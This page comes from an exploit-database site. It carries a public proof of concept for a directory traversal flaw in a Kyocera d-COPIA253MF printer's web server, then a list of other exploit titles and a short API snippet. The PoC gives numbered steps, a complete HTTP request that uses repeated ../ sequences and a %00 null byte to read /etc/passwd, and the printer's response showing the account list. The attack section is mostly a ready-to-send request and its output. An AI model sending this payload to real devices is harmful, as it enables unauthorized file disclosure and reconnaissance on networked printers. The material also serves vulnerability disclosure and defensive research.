Search for hundreds of thousands of exploits

"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"

Author

Exploit author

"Hakan Eren ŞAN"

Platform

Exploit platform

hardware

Release date

Exploit published date

2020-06-08

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Exploit Title : Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)
# Exploit Author: Hakan Eren ŞAN
# Date: 2020-06-06
# Vendor Homepage: https://www.kyoceradocumentsolutions.com.tr/tr.html
# Version: d-COPIA253MF plus
# Tested on : Linux
# Credit: Berat Isler


# First step , you can capture the main page
# Then create a directory traveral payload like ../../../ this
# Then you add nullbyte to the end of the payload(%00)
# Last step sent your request

This is the code :

Request:


GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rtl=0
Upgrade-Insecure-Requests: 1
If-None-Match: "/wlmeng/index.htm, Thu, 04 Jun 2020 13:41:16 GMT"
Cache-Control: max-age=0


Response:

HTTP/1.1 200 OK
Content-Length: 843
Date: Thu, 04 Jun 2020 16:09:54 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 04 Jun 2020 13:41:16 GMT
ETag: "/wlmeng/../../../../../../../../../../../etc/passwd, Thu, 04 Jun
2020 13:41:16 GMT"
Content-Type: text/html

root::0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/bin/sh
daemon:*:2:2:daemon:/usr/sbin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
adm:*:4:4:adm:/var/adm:/bin/sh
lp:*:5:7:lp:/var/spool/lpd:/bin/sh
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/mail:/bin/sh
news:*:10:12:news:/var/spool/news:/bin/sh
uucp:*:11:13:uucp:/var/spool/uucp:/bin/sh
operator:*:12:0:operator:/root:/bin/sh
games:*:13:60:games:/usr/games:/bin/sh
ftp:*:15:14:ftp:/var/ftp:/bin/sh
man:*:16:20:man:/var/cache/man:/bin/sh
www:*:17:18:www-data:/var/www:/bin/sh
sshd:*:18:19:sshd:/var/run/sshd:/bin/sh
proxy:*:19:21:proxy:/bin:/bin/sh
telnetd:*:20:22:proxy:/bin:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
ais:*:101:101:ais:/var/run/ais:/bin/sh
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
Release DateTitleTypePlatformAuthor
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"OpenEMR 5.0.1 - 'controller' Remote Code Execution"webappsphp"Emre ÖVÜNÇ"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio León"
2020-06-25"FHEM 6.0 - Local File Inclusion"webappsphp"Emre ÖVÜNÇ"
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre ÖVÜNÇ"
2020-06-24"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting"webappsmultiple"William Summerhill"
2020-06-23"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)"webappsphpBKpatron
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
Release DateTitleTypePlatformAuthor
2020-06-08"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"webappshardware"Hakan Eren ŞAN"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48561/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.